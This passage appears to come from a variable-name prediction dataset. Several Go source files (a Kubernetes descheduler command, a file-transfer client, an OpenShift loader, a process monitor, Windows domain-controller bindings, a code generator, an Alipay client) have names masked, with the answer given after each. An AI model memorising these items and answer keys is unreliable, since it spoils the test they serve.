""k8s.io/apimachinery/pkg/watch"" apiserver ""k8s.io/apiserver/pkg/server"" ""k8s.io/apiserver/pkg/server/mux"" restclient ""k8s.io/client-go/rest"" registry ""k8s.io/component-base/logs/api/v1"" jsonLog ""k8s.io/component-base/logs/json"" _ ""k8s.io/component-base/logs/json/register"" ""k8s.io/component-base/metrics/legacyregistry"" ""k8s.io/klog/v2"" ) // NewDeschedulerCommand creates a *cobra.Command object with default parameters func NewDeschedulerCommand(out io.Writer) *cobra.Command { s, err := options.NewDeschedulerServer() if err != nil { klog.ErrorS(err, ""unable to initialize server"") } cmd := &cobra.Command{ Use: ""descheduler"", Short: ""descheduler"", Long: `The descheduler evicts pods which may be bound to less desired nodes`, Run: func(cmd *cobra.Command, args []string) { // s.Logs.Config.Format = s.Logging.Format // LoopbackClientConfig is a config for a privileged loopback connection var LoopbackClientConfig *restclient.Config var SecureServing *apiserver.SecureServingInfo if err := s.SecureServing.ApplyTo(&SecureServing, &LoopbackClientConfig); err != nil { klog.ErrorS(err, ""failed to apply secure server configuration"") return } SecureServing.DisableHTTP2 = !s.EnableHTTP2 var [MASK] registry.LogFormatFactory if s.Logging.Format == ""json"" { [MASK] = jsonLog.Factory{} } if [MASK] == nil { klog.ClearLogger() } else { log, loggerControl := [MASK] .Create(registry.LoggingConfiguration{ Format: s.Logging.Format, Verbosity: s.Logging.Verbosity, }, registry.LoggingOptions{}) defer loggerControl.Flush() klog.SetLogger(log) } ctx, done := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM) pathRecorderMux := mux.NewPathRecorderMux(""descheduler"") if !s.DisableMetrics { pathRecorderMux.Handle(""/metrics"", legacyregistry.HandlerWithReset()) } healthz.InstallHandler(pathRecorderMux, healthz.NamedCheck(""Descheduler"", healthz.PingHealthz.Check)) stoppedCh, _, err := SecureServing.Serve(pathRecorderMux, 0, ctx.Done()) if err != nil { klog.Fatalf(""failed to start secure server: %v"", err) return } err = Run(ctx, s) if err != nil { klog.ErrorS(err, ""descheduler server"") } done() // wait for metrics server to close <-stoppedCh }, } cmd.SetOut(out) flags := cmd.Flags() s.AddFlags(flags) return cmd } func Run(ctx context.Context, rs *options.DeschedulerServer) error { err := tracing.NewTracerProvider(ctx, rs.Tracing.CollectorEndpoint, rs.Tracing.TransportCert, rs.Tracing.ServiceName, rs.Tracing.ServiceNamespace, rs.Tracing.SampleRate, rs.Tracing.FallbackToNoOpProviderOnError) if err != nil { return err } defer tracing.Shutdown(ctx) // increase the fake watch channel so the dry-run mode can be run // over a cluster with thousands of pods watch.DefaultChanSize = 100000 return descheduler.Run(ctx, rs) } func SetupLogs() { klog.SetOutput(os.Stdout) klog.InitFlags(nil) } ",factory 968,"package main import ( ""FileSystem/config"" . ""FileSystem/file"" ""FileSystem/message"" ""bufio"" ""errors"" ""fmt"" ""io/ioutil"" ""net"" ""os"" ""strconv"" ""strings"" ) func main() { conn,err := net.Dial(""tcp"",config.Host) if err != nil { fmt.Println(""Client Connect Failed"") return } fmt.Println(""Start"") handleConnClient(conn) fmt.Println(""End"") } func handleConnClient(c net.Conn) { defer c.Close() reader := bufio.NewReader(os.Stdin) help := `>cd path 移动到path路径下>ls 显示当前目录信息 >push filename dsc 上传文件到云端 本地绝对路径 -> 云端绝对路径 >pull filename dsc 从云端获取文件 云端相对路径 -> 本地绝对路径 >mv src dsc 移动文件 >cp src dsc 复制文件 >del filename 删除文件 >deldir dirname 删除目录及目录下所有文件 >mkdir dirname 创建目录 绝对路径目录 >share filename username >info 查看自己文件容器信息` for { input,err := reader.ReadString('\n') input = strings.Trim(input,""\n"") if err != nil { continue } op := strings.Split(input,"" "") switch op[0] { case ""push"" : if len(op) > 2 { if !FileExist(op[1]) { fmt.Println(""Error : File doesn't exist"") continue } flag := JudgeOs() filepath := strings.Split(op[1], flag) filename := filepath[len(filepath)-1] input = op[0] + "" "" + op[1] + "" "" + op[2] + ""/"" + filename err = message.SendMsg([]byte(input), c) err = pushClient(op[1], c) } else { err = message.SendMsg([]byte(input),c) } case ""pull"" : if len(op) > 2 { err = message.SendMsg([]byte(input),c) err = pullClient(op[1],op[2],c) } else { err = message.SendMsg([]byte(input),c) } case ""help"": fmt.Println(help) continue default: err = message.SendMsg([]byte(input),c) } msg,err := message.RecvMsg(c) if err != nil { continue } fmt.Println(string(msg)) if input == ""exit"" { return } } } func pushClient(filename string,c net.Conn) (error) { // 清空临时文件 defer DirClear(config.Tmp) msg,err := message.RecvMsg(c) if err != nil { return err } if string(msg) == ""Error"" { return errors.New(""Dsc isn't a dir"") } [MASK] ,err := os.Stat(filename) if err != nil { return err } err = message.SendMsg([]byte(strconv.FormatInt( [MASK] .Size(),10)),c) flag,err := message.RecvMsg(c) if err != nil { return err } if string(flag) == ""Fail"" { return errors.New(""Push File Failed"") } err = FileDivide(filename,config.Tmp,config.FileDivideSize) if err != nil { return err } files,err := ioutil.ReadDir(config.Tmp) if err != nil { return err } err = message.SendMsg([]byte(strconv.Itoa(len(files))),c) if err != nil { return err } for _,file := range files { msg,err := FileReadRaw(config.Tmp + file.Name()) if err != nil { return err } err = message.SendMsg(msg,c) if err != nil { return err } } return nil } func pullClient(filename,dsc string,c net.Conn) (error) { // 清空临时文件 defer DirClear(config.Tmp) i := 0 flag := JudgeOs() for { data,err := message.RecvMsg(c) if err != nil { return err } if string(data) == ""END"" { break } err = FileWrite(config.Tmp + flag + ""tmp"" + strconv.Itoa(i),data) i += 1 if err != nil { return err } } err := FileMerge(config.Tmp,dsc) if err != nil { return err } return nil }",fileInfo 969,"package cmd import ( ""encoding/json"" ""fmt"" ""io/ioutil"" ""net/http"" ""os"" ""path/filepath"" ""strings"" ""sync"" ""github.com/ghodss/yaml"" ""k8s.io/klog/v2"" imageapiv1 ""github.com/openshift/api/image/v1"" templateapiv1 ""github.com/openshift/api/template/v1"" libraryapiv1 ""github.com/openshift/library/api/library/v1"" ) func processDocuments(cache *sync.Map, configs libraryapiv1.Configs) error { var wg sync.WaitGroup documents := map[string]struct{}{} for _, config := range configs.Configs { for _, document := range config.Documents { if strings.HasSuffix(document, "".yaml"") { document = strings.Replace(document, "".yaml"", """", 1) } documents[document] = struct{}{} } } for document := range documents { klog.Infof(""%v"", document) wg.Add(1) go func(document string) { defer wg.Done() klog.Infof(""[Doc: %s] Processing ..."", document) if strings.HasSuffix(document, "".yaml"") { document = strings.Replace(document, "".yaml"", """", 1) } // Read the YAML file contents, err := ioutil.ReadFile(fmt.Sprintf(""%s.yaml"", document)) if err != nil { klog.Errorf(""[Doc: %s] unable to read specified file: %v"", document, err) os.Exit(1) } // Convert the YAML to JSON contents, err = yaml.YAMLToJSON(contents) klog.V(5).Infof(""[Doc: %s] Converting yaml to json"", document) if err != nil { klog.Errorf(""[Doc: %s] unable to convert yaml to json: %v"", document, err) os.Exit(1) } // Unmarshal just the variables from the contents var variables libraryapiv1.Document if err = json.Unmarshal(contents, &variables); err != nil { klog.Errorf(""[Doc: %s] unable to unMarshal variable replacements: %s"", document, err) os.Exit(1) } // Replace variable keys with their values in the contents klog.Infof(""[Doc: %s] Processing variable replacements ..."", document) if err := replaceVariables(document, &contents, variables.Variables); err != nil { klog.Errorf(""[Doc: %s] unable to replace variables: %v"", document, err) os.Exit(1) } cache.Store(document, contents) }(document) } wg.Wait() return nil } func preloadCache(urlCache *sync.Map, documentCache *sync.Map) error { var wg sync.WaitGroup documentCache.Range(func(k interface{}, v interface{}) bool { wg.Add(1) go func(k interface{}, v interface{}, urlCache *sync.Map) { defer wg.Done() documentData := libraryapiv1.DocumentData{} if err := json.Unmarshal(v.([]byte), &documentData); err != nil { klog.Errorf(""[Doc: %s] unable to unMarshal after variable replacement: %v"", k.(string), err) os.Exit(1) } for folder, item := range documentData.Data { klog.Infof(""[Doc: %s] Processing folder %q"", k.(string), folder) if len(item.ImageStreams) != 0 { for _, is := range item.ImageStreams { wg.Add(1) go func(location string) { defer wg.Done() if _, err := fetchURL(urlCache, location); err != nil { klog.Errorf(""unable to fetch url during preload %s: %v"", is.Location, err) } }(is.Location) } } if len(item.Templates) != 0 { for _, t := range item.Templates { wg.Add(1) go func(location string) { defer wg.Done() if _, err := fetchURL(urlCache, location); err != nil { klog.Errorf(""unable to fetch url during preload %s: %v"", t.Location, err) } }(t.Location) } } } }(k, v, urlCache) return true }) wg.Wait() return nil } func writeToFile(config int, document string, data []byte, filePath string) error { klog.V(5).Infof(""[Config: %d, Doc: %s] Writing file %s"", config, document, filePath) if _, err := os.Stat(filepath.Dir(filePath)); os.IsNotExist(err) { if err := os.MkdirAll(filepath.Dir(filePath), os.ModePerm); err != nil { return fmt.Errorf(""Error creating directory %q: %v"", filepath.Dir(filePath), err) } } return ioutil.WriteFile(filePath, data, os.ModePerm) } func replaceVariables(document string, d *[]byte, v map[string]string) error { for k, v := range v { klog.V(5).Infof(""[Doc: %s] Replacing variable {%s} with %s"", document, k, v) *d = []byte(strings.ReplaceAll(string(*d), fmt.Sprintf(""{%s}"", k), fmt.Sprintf(""%s"", v))) } return nil } func fetchURL(cache *sync.Map, path string) ([]byte, error) { if v, ok := cache.Load(path); ok { klog.V(5).Infof(""Retreiving from cache: %s"", path) return v.([]byte), nil } klog.V(5).Infof(""Not cached, downloading %s"", path) resp, err := http.Get(path) if err != nil { return []byte{}, err } defer resp.Body.Close() if resp.StatusCode != 200 { return []byte{}, fmt.Errorf(""%d"", resp.StatusCode) } body, err := ioutil.ReadAll(resp.Body) if err != nil { return nil, err } cache.Store(path, body) return body, nil } func unMarshalTemplate(body []byte, t *templateapiv1.Template) error { body, err := yaml.YAMLToJSON(body) if err != nil { return fmt.Errorf(""Unable to convert yaml to json: %v"", err) } if jerr := json.Unmarshal(body, &t); jerr != nil { return fmt.Errorf(""Error unmarshaling data: %v"", err) } return nil } func unMarshalImageStream(body []byte, is *imageapiv1.ImageStream) error { body, err := yaml.YAMLToJSON(body) if err != nil { return fmt.Errorf(""Unable to convert yaml to json: %v"", err) } if jerr := json.Unmarshal(body, &is); jerr != nil { return fmt.Errorf(""Error unmarshaling data: %v"", err) } return nil } func unMarshalImageStreamList(body []byte, [MASK] *imageapiv1.ImageStreamList) error { body, err := yaml.YAMLToJSON(body) if err != nil { return fmt.Errorf(""Unable to convert yaml to json: %v"", err) } if jerr := json.Unmarshal(body, & [MASK] ); jerr != nil { return fmt.Errorf(""Error unmarshaling data: %v"", err) } return nil } ",isl 970,"package main import ( ""fmt"" ""os"" ""sort"" ""time"" ""github.com/charmbracelet/bubbles/table"" tea ""github.com/charmbracelet/bubbletea"" ""github.com/shirou/gopsutil/v3/process"" ) type processInfo struct { pid int32 name string cpu float64 memory float32 } type model struct { table table.Model } type tickMsg time.Time func (m model) Init() tea.Cmd { return tick() } func tick() tea.Cmd { return tea.Tick(time.Second, func(t time.Time) tea.Msg { return tickMsg(t) }) } func (m model) Update(msg tea.Msg) (tea.Model, tea.Cmd) { switch msg := msg.(type) { case tickMsg: procs, err := process.Processes() if err != nil { return m, nil } infos := make([]processInfo, len(procs)) for i, p := range procs { name, _ := p.Name() cpu, _ := p.CPUPercent() mem, _ := p.MemoryPercent() infos[i] = processInfo{pid: p.Pid, name: name, cpu: cpu, memory: mem} } sort.Slice(infos, func(i, j int) bool { return infos[i].cpu > infos[j].cpu }) rows := make([]table.Row, len(infos)) for i, p := range infos { rows[i] = table.Row{fmt.Sprintf(""%d"", p.pid), p.name, fmt.Sprintf(""%.2f%%"", p.cpu), fmt.Sprintf(""%.2f%%"", p.memory)} } m.table.SetRows(rows) return m, tick() case tea.KeyMsg: switch msg.String() { case ""q"", ""ctrl+c"": return m, tea.Quit } } return m, nil } func (m model) View() string { return m.table.View() + ""\n"" } func main() { [MASK] := []table.Column{ {Title: ""PID"", Width: 10}, {Title: ""Name"", Width: 40}, {Title: ""CPU %"", Width: 10}, {Title: ""Mem %"", Width: 10}, } t := table.New( table.WithColumns( [MASK] ), table.WithFocused(true), ) initialModel := model{table: t} p := tea.NewProgram(initialModel, tea.WithAltScreen()) if err := p.Start(); err != nil { fmt.Printf(""Alas, there's been an error: %v"", err) os.Exit(1) } } ",columns 971,"package adds import ( ""syscall"" ""unsafe"" ) var ( modnetapi32 = syscall.NewLazyDLL(""netapi32.dll"") procDsAddressToSiteNamesW = modnetapi32.NewProc(""DsAddressToSiteNamesW"") procDsAddressToSiteNamesExW = modnetapi32.NewProc(""DsAddressToSiteNamesExW"") procDsDeregisterDnsHostRecordsW = modnetapi32.NewProc(""DsDeregisterDnsHostRecordsW"") procDsEnumerateDomainTrustsW = modnetapi32.NewProc(""DsEnumerateDomainTrustsW"") procDsGetDcCloseW = modnetapi32.NewProc(""DsGetDcCloseW"") procDsGetDcNameW = modnetapi32.NewProc(""DsGetDcNameW"") procDsGetDcNextW = modnetapi32.NewProc(""DsGetDcNextW"") procDsGetDcOpenW = modnetapi32.NewProc(""DsGetDcOpenW"") procDsGetDcSiteCoverageW = modnetapi32.NewProc(""DsGetDcSiteCoverageW"") procDsGetForestTrustInformationW = modnetapi32.NewProc(""DsGetForestTrustInformationW"") procDsGetSiteNameW = modnetapi32.NewProc(""DsGetSiteNameW"") procDsMergeForestTrustInformationW = modnetapi32.NewProc(""DsMergeForestTrustInformationW"") procDsRoleFreeMemory = modnetapi32.NewProc(""DsRoleFreeMemory"") procDsRoleGetPrimaryDomainInformation = modnetapi32.NewProc(""DsRoleGetPrimaryDomainInformation"") procDsValidateSubnetNameW = modnetapi32.NewProc(""DsValidateSubnetNameW"") ) const ( DS_AVOID_SELF = 0x00004000 DS_BACKGROUND_ONLY = 0x00000100 DS_DIRECTORY_SERVICE_PREFERRED = 0x00000020 DS_DIRECTORY_SERVICE_REQUIRED = 0x00000010 DS_DIRECTORY_SERVICE_6_REQUIRED = 0x00080000 DS_DIRECTORY_SERVICE_8_REQUIRED = 0x00200000 DS_FORCE_REDISCOVERY = 0x00000001 DS_GC_SERVER_REQUIRED = 0x00000040 DS_GOOD_TIMESERV_PREFERRED = 0x00002000 DS_IP_REQUIRED = 0x00000200 DS_IS_DNS_NAME = 0x00020000 DS_IS_FLAT_NAME = 0x00010000 DS_KDC_REQUIRED = 0x00000400 DS_ONLY_LDAP_NEEDED = 0x00008000 DS_PDC_REQUIRED = 0x00000080 DS_RETURN_DNS_NAME = 0x40000000 DS_RETURN_FLAT_NAME = 0x80000000 DS_TIMESERV_REQUIRED = 0x00000800 DS_TRY_NEXTCLOSEST_SITE = 0x00040000 DS_WRITABLE_REQUIRED = 0x00001000 DS_WEB_SERVICE_REQUIRED = 0x00100000 ) type DOMAIN_CONTROLLER_INFO struct { DomainControllerName *uint16 DomainControllerAddress *uint16 DomainControllerAddressType uint32 DomainGuid [16]byte DomainName *uint16 DnsForestName *uint16 Flags uint32 DcSiteName *uint16 ClientSiteName *uint16 } type DomainControllerInfo struct { DomainControllerName string DomainControllerAddress string DomainControllerAddressType uint32 DomainGuid [16]byte DomainName string DnsForestName string Flags uint32 DcSiteName string ClientSiteName string } func RefreshDC(computerName, domainName, siteName string) (info *DomainControllerInfo, err error) { return GetDcName(computerName, domainName, siteName, DS_FORCE_REDISCOVERY) } func GetDcName(computerName, domainName, siteName string, flags uint32) (info *DomainControllerInfo, err error) { var cnp, dnp, snp *uint16 cnp, err = utf16PtrFromString(computerName) if err != nil { return } dnp, err = utf16PtrFromString(domainName) if err != nil { return } snp, err = utf16PtrFromString(siteName) if err != nil { return } var [MASK] *DOMAIN_CONTROLLER_INFO err = DsGetDcName(cnp, dnp, snp, flags, & [MASK] ) if err != nil { return } defer syscall.NetApiBufferFree((*byte)(unsafe.Pointer( [MASK] ))) info = &DomainControllerInfo{ DomainControllerName: utf16PtrToString( [MASK] .DomainControllerName), DomainControllerAddress: utf16PtrToString( [MASK] .DomainControllerAddress), DomainControllerAddressType: [MASK] .DomainControllerAddressType, DomainGuid: [MASK] .DomainGuid, DomainName: utf16PtrToString( [MASK] .DomainName), DnsForestName: utf16PtrToString( [MASK] .DnsForestName), Flags: [MASK] .Flags, DcSiteName: utf16PtrToString( [MASK] .DcSiteName), ClientSiteName: utf16PtrToString( [MASK] .ClientSiteName), } return } func DsGetDcName(computerName, domainName, siteName *uint16, flags uint32, info **DOMAIN_CONTROLLER_INFO) (err error) { // See https://msdn.microsoft.com/en-us/library/ms675983 r0, _, _ := syscall.Syscall6(procDsGetDcNameW.Addr(), 6, uintptr(unsafe.Pointer(computerName)), uintptr(unsafe.Pointer(domainName)), uintptr(0), uintptr(unsafe.Pointer(siteName)), uintptr(flags), uintptr(unsafe.Pointer(info))) if r0 != 0 { err = syscall.Errno(r0) } return } func GetSiteName(computerName string) (siteName string, err error) { var cnp, snp *uint16 cnp, err = utf16PtrFromString(computerName) if err != nil { return } snp, err = DsGetSiteName(cnp) if err != nil { return } defer syscall.NetApiBufferFree((*byte)(unsafe.Pointer(snp))) siteName = utf16PtrToString(snp) return } func DsGetSiteName(computerName *uint16) (siteName *uint16, err error) { // See https://msdn.microsoft.com/en-us/library/ms675992 r0, _, _ := syscall.Syscall(procDsGetSiteNameW.Addr(), 2, uintptr(unsafe.Pointer(computerName)), uintptr(unsafe.Pointer(&siteName)), 0) if r0 != 0 { err = syscall.Errno(r0) } return } func utf16PtrToString(str *uint16) string { if str == nil { return """" } else { return syscall.UTF16ToString((*[256]uint16)(unsafe.Pointer(str))[:]) // Assumes max site name length of 256 characters } } func utf16PtrFromString(str string) (*uint16, error) { if len(str) == 0 { return nil, nil } else { return syscall.UTF16PtrFromString(str) } } ",dci 972,"package codegen import ( ""github.com/cockroachdb/errors"" ""github.com/spf13/afero"" ""path/filepath"" ""runtime"" ""strings"" ""templarium/runner"" ""text/template"" ) type GoCodeGenerator interface { CreateGoProject(moduleName string, version string) error CreateGoCliProject(moduleName string, version string) error } func NewGoCodeGenerator(fileSystem afero.Fs, cobraVersionRetriever runner.Runner) GoCodeGenerator { return &goCodeGenerator{ fileSystem: fileSystem, cobraVersionRetriever: cobraVersionRetriever, } } type goCodeGenerator struct { fileSystem afero.Fs cobraVersionRetriever runner.Runner } func (g goCodeGenerator) CreateGoProject(moduleName string, version string) error { return g.createGoProject(moduleName, version, ""resources/go.mod.tmpl"", &goModVariables{ GoVersion: version, ModuleName: moduleName, }) } func (g goCodeGenerator) CreateGoCliProject(moduleName string, version string) error { cobraVersion, err := g.getLatestCobraVersion() if err != nil { return errors.Wrap(err, ""error creating Go CLI project"") } variables := goModVariables{ GoVersion: version, ModuleName: moduleName, CobraVersion: cobraVersion, } err = g.createGoProject(moduleName, version, ""resources/go.mod-cli.tmpl"", &variables) if err != nil { return errors.Wrap(err, ""error creating Go CLI project"") } err = g.createMainCliFile() if err != nil { return errors.Wrap(err, ""error creating Go CLI project"") } return err } func (g goCodeGenerator) createGoProject(moduleName string, version string, [MASK] string, variables *goModVariables) error { err := validateFlags(moduleName, version) if err != nil { return errors.Wrap(err, ""error creating Go project"") } file, err := g.createGoModFile() defer func(file afero.File) { err := file.Close() if err != nil { panic(errors.Wrap(err, ""error closing file"")) } }(file) if err != nil { return errors.Wrap(err, ""error creating go.mod file"") } tmpl, err := template.ParseFiles(filepath.Join(g.getRootDirectory(), [MASK] )) if err != nil { return errors.Wrap(err, ""error parsing file"") } err = tmpl.Execute(file, variables) if err != nil { return errors.Wrap(err, ""error executing template"") } return nil } func (g goCodeGenerator) getLatestCobraVersion() (string, error) { output, err := g.cobraVersionRetriever.RunCommand(""go"", ""list"", ""-m"", ""-versions"", ""github.com/spf13/cobra"") if err != nil { return """", errors.Wrap(err, ""error getting latest cobra version"") } versions := strings.Fields(string(output)) latestVersion := versions[len(versions)-1] return latestVersion, nil } func (g goCodeGenerator) getRootDirectory() string { _, filename, _, ok := runtime.Caller(0) if !ok { panic(""unable to get root directory"") } return filepath.Dir(filename) } func validateFlags(moduleName string, version string) error { if version == """" { return errors.New(""the --version flag is required"") } if moduleName == """" { return errors.New(""the --module-name flag is required"") } return nil } func (g goCodeGenerator) createGoModFile() (afero.File, error) { const goModName = ""go.mod"" file, err := g.fileSystem.Create(goModName) if err != nil { return nil, errors.Wrap(err, ""error creating file"") } return file, nil } func (g goCodeGenerator) createMainCliFile() error { const fileName = ""main.go"" file, err := g.fileSystem.Create(fileName) if err != nil { return errors.Wrap(err, ""error creating file"") } defer func(file afero.File) { err := file.Close() if err != nil { panic(errors.Wrap(err, ""error closing file"")) } }(file) tmpl, err := template.ParseFiles(filepath.Join(g.getRootDirectory(), ""resources/cli-main.tmpl"")) if err != nil { return errors.Wrap(err, ""error parsing file"") } err = tmpl.Execute(file, nil) if err != nil { return errors.Wrap(err, ""error executing template"") } return nil } ",goModTemplatePath 973,"package alipay import ( ""bytes"" ""crypto"" ""crypto/aes"" ""crypto/cipher"" ""crypto/rand"" ""crypto/rsa"" ""crypto/sha1"" ""crypto/sha256"" ""crypto/x509"" ""encoding/base64"" ""encoding/pem"" ""errors"" ""fmt"" ""github.com/goccy/go-json"" ""hash"" ""io"" ""mime/multipart"" ""net/http"" ""net/url"" ""os"" ""strings"" ""time"" ) var ( ErrNullParams = errors.New(""alipay: bad params"") ErrBadResponse = errors.New(""alipay: bad response"") ErrSignNotFound = errors.New(""alipay: sign content not found"") ErrAliPublicKeyNotFound = errors.New(""alipay: alipay public key not found"") ) type Client struct { appId string pubKey string priKey string host string notifyVerifyHost string encryptIV []byte encryptType string encryptKey []byte fileName string filePath string fileType bool scene string location *time.Location Client *http.Client onReceivedData func(method string, data []byte) isProduction bool } // 加载文件信息 func WithFileInformation(name, path string, fileType bool) OptionFunc { return func(c *Client) { if name != """" { c.fileName = name } if path != """" { c.filePath = path } if fileType == true { c.fileType = fileType } } } type OptionFunc func(c *Client) // 初始化客户端 func New(appId, privateKey string, isProduction bool, opts ...OptionFunc) (nClient *Client, err error) { if appId == """" || privateKey == """" { return nil, ErrNullParams } nClient = &Client{} nClient.isProduction = isProduction nClient.appId = appId nClient.priKey = privateKey if nClient.isProduction { nClient.host = kProductionGateway nClient.notifyVerifyHost = kProductionMAPIGateway } else { nClient.host = kNewSandboxGateway nClient.notifyVerifyHost = kNewSandboxGateway } nClient.Client = http.DefaultClient nClient.location = time.Local nClient.LoadOptionFunc(opts...) return } // 加载接口链接 func (c *Client) LoadOptionFunc(opts ...OptionFunc) { for _, opt := range opts { if opt != nil { opt(c) } } } // 加载支付宝公钥 func (c *Client) LoadAlipayCertPublicKey(s string) (err error) { if s == """" { err = ErrAliPublicKeyNotFound return } c.pubKey = s return } // SetEncryptKey 接口内容加密密钥 https://opendocs.alipay.com/common/02mse3 func (c *Client) SetEncryptKey(key string) error { if key == """" { return nil } var data, err = base64.StdEncoding.DecodeString(key) if err != nil { return err } c.encryptIV = data[:16] c.encryptType = ""AES"" c.encryptKey = data return nil } // 请求参数 func (c *Client) URLValues(param Param) (value url.Values, err error) { var values = url.Values{} // 公共参数 values.Add(kFieldAppId, c.appId) values.Add(kFieldMethod, param.APIName()) values.Add(kFieldFormat, kFormat) values.Add(kFieldCharset, kCharset) values.Add(kFieldSignType, kSignTypeRSA2) values.Add(kFieldTimestamp, time.Now().In(c.location).Format(kTimeFormat)) values.Add(kFieldVersion, kVersion) // 业务参数 jsonBytes, err := json.Marshal(param) if err != nil { return nil, err } var content = string(jsonBytes) // 添加biz_content业务参数 if content != kEmptyBizContent { values.Add(kFieldBizContent, content) } // 没有bizContent参数,公共方法添加参数 var params = param.Params() for k, v := range params { if v == """" { continue } values.Add(k, v) } // 生成签名 signContentBytes, _ := url.QueryUnescape(values.Encode()) signature, err := c.sign([]byte(signContentBytes), kSignTypeRSA2) if err != nil { return nil, err } // 添加签名 values.Add(kFieldSign, signature) return values, nil } // 生成签名 func (c *Client) sign(data []byte, SignType string) (signature string, err error) { if len(data) == 0 { err = ErrSignNotFound return } var h hash.Hash var hType crypto.Hash switch SignType { case ""RSA"": h = sha1.New() hType = crypto.SHA1 case ""RSA2"": h = sha256.New() hType = crypto.SHA256 } h.Write(data) d := h.Sum(nil) pk, err := c.parsePrivateKey() if err != nil { return } bs, err := rsa.SignPKCS1v15(rand.Reader, pk, hType, d) if err != nil { return } signature = base64.StdEncoding.EncodeToString(bs) return } // 验证签名内容 func (c *Client) parsePrivateKey() (pk *rsa.PrivateKey, err error) { encodedKey, _ := base64.StdEncoding.DecodeString(c.priKey) pkcs8PrivateKey, err := x509.ParsePKCS8PrivateKey(encodedKey) if err != nil { pkcs8PrivateKey, err = x509.ParsePKCS1PrivateKey(encodedKey) if err != nil { err = fmt.Errorf(""解析密钥失败,err: %v"", err) return } } pk = pkcs8PrivateKey.(*rsa.PrivateKey) return } // 请求主方法 func (c *Client) doRequest(method string, param Param, result interface{}) (err error) { // 创建一个请求 req, _ := http.NewRequest(method, c.host, nil) // 判断参数是否为空 if param != nil { var values url.Values values, err = c.URLValues(param) if err != nil { return err } req.Body = io.NopCloser(strings.NewReader(values.Encode())) } // 添加header头 req.Header.Add(""Content-Type"", kContentType) // 发起请求数据 rsp, err := c.Client.Do(req) if err != nil { return } defer rsp.Body.Close() bodyBytes, err := io.ReadAll(rsp.Body) if err != nil { return err } var apiName = param.APIName() var bizFieldName = strings.Replace(apiName, ""."", ""_"", -1) + kResponseSuffix return c.decode(bodyBytes, bizFieldName, param.NeedVerify(), result) } // 上传素材 func (c *Client) postFormData(method string, param Param, result interface{}) (err error) { // 读取文件 var buf bytes.Buffer writer := multipart.NewWriter(&buf) part, err := writer.CreateFormFile(""file_content"", c.fileName) if err != nil { return } var body io.Reader // 根据类型获取图片内容 if c.fileType { // 获取图片信息 resp, err1 := http.Get(c.filePath) if err1 != nil { err = err1 return } defer resp.Body.Close() body = resp.Body } else { resp, err2 := os.Open(c.filePath) if err2 != nil { err = err2 return } defer resp.Close() body = resp } if _, err = io.Copy(part, body); err != nil { return } _ = writer.WriteField(""scene"", c.scene) _ = writer.Close() // 判断参数是否为空 values, err := c.URLValues(param) if err != nil { return err } // 创建一个请求 req, _ := http.NewRequest(method, c.host+""?""+values.Encode(), &buf) req.Header.Set(""Content-Type"", writer.FormDataContentType()) req.Header.Set(""Content-Disposition"", ""form-data"") // 发起请求数据 rsp, err := c.Client.Do(req) if err != nil { return } defer rsp.Body.Close() bodyBytes, err := io.ReadAll(rsp.Body) if err != nil { return err } var apiName = param.APIName() var bizFieldName = strings.Replace(apiName, ""."", ""_"", -1) + kResponseSuffix return c.decode(bodyBytes, bizFieldName, param.NeedVerify(), result) } // 解密返回数据 func (c *Client) decode(data []byte, bizFieldName string, needVerifySign bool, result interface{}) (err error) { var raw = make(map[string]json.RawMessage) if err = json.Unmarshal(data, &raw); err != nil { return err } var signBytes = raw[kFieldSign] var certBytes = raw[kFieldAlyPayCertSN] var bizBytes = raw[bizFieldName] var errBytes = raw[kErrorResponse] if len(certBytes) > 1 { certBytes = certBytes[1 : len(certBytes)-1] } if len(signBytes) > 1 { signBytes = signBytes[1 : len(signBytes)-1] } // 判断是否有错误 if len(bizBytes) == 0 { if len(errBytes) > 0 { var rErr *Error if err = json.Unmarshal(errBytes, &rErr); err != nil { return err } return rErr } return ErrBadResponse } // 数据解密 var plaintext []byte if plaintext, err = c.decrypt(bizBytes); err != nil { return err } // 验证签名 if needVerifySign { if c.onReceivedData != nil { c.onReceivedData(bizFieldName, plaintext) } if len(signBytes) == 0 { // 没有签名数据,返回的内容一般为错误信息 var rErr *Error if err = json.Unmarshal(plaintext, &rErr); err != nil { return err } return rErr } // 验证签名 if err = c.Verify(bizBytes, signBytes); err != nil { return err } } // 返回数据 if err = json.Unmarshal(plaintext, result); err != nil { return err } return nil } // 解码数据 func (c *Client) decrypt(data []byte) ([]byte, error) { var plaintext = data if len(data) > 1 && data[0] == '""' { var ciphertext, err = base64decode(data[1 : len(data)-1]) if err != nil { return nil, err } block, err := aes.NewCipher(c.encryptKey) if err != nil { return nil, err } var mode = cipher.NewCBCDecrypter(block, c.encryptIV) mode.CryptBlocks(ciphertext, ciphertext) // 去除填充 padding := int(ciphertext[len(ciphertext)-1]) plaintext = ciphertext[:len(ciphertext)-padding] if err != nil { return nil, err } } return plaintext, nil } // 验证密钥 func (c *Client) Verify(signContent, sign []byte) (err error) { // 步骤1,加载RSA的公钥 aliPublicKey := c.formatAlipayPublicKey(c.pubKey) block, _ := pem.Decode([]byte(aliPublicKey)) // keyByts, _ := base64.StdEncoding.DecodeString(publicKey) pub, err := x509.ParsePKIXPublicKey(block.Bytes) if err != nil { return } rsaPub, _ := pub.(*rsa.PublicKey) // 步骤2,计算代签名字串的SHA1哈希 hashed := sha256.Sum256(signContent) hashs := crypto.SHA256 digest := hashed[:] // 步骤3,base64 decode,必须步骤,支付宝对返回的签名做过base64 encode必须要反过来decode才能通过验证 data, _ := base64decode(sign) // 步骤4,调用rsa包的VerifyPKCS1v15验证签名有效性 err = rsa.VerifyPKCS1v15(rsaPub, hashs, digest, data) if err != nil { fmt.Println(""Verify sig error, reason: "", err) return } return } // 格式化支付宝普通支付宝公钥 func (c *Client) formatAlipayPublicKey(publicKey string) (pKey string) { var buffer strings.Builder buffer.WriteString(""-----BEGIN PUBLIC KEY-----\n"") rawLen := 64 [MASK] := len(publicKey) raws := [MASK] / rawLen temp := [MASK] % rawLen if temp > 0 { raws++ } start := 0 end := start + rawLen for i := 0; i < raws; i++ { if i == raws-1 { buffer.WriteString(publicKey[start:]) } else { buffer.WriteString(publicKey[start:end]) } buffer.WriteByte('\n') start += rawLen end = start + rawLen } buffer.WriteString(""-----END PUBLIC KEY-----\n"") pKey = buffer.String() return } // 请求接口 func (c *Client) Request(payload *Payload, result interface{}) (err error) { return c.doRequest(http.MethodPost, payload, result) } func (c *Client) OnReceivedData(fn func(method string, data []byte)) { c.onReceivedData = fn } func base64decode(data []byte) ([]byte, error) 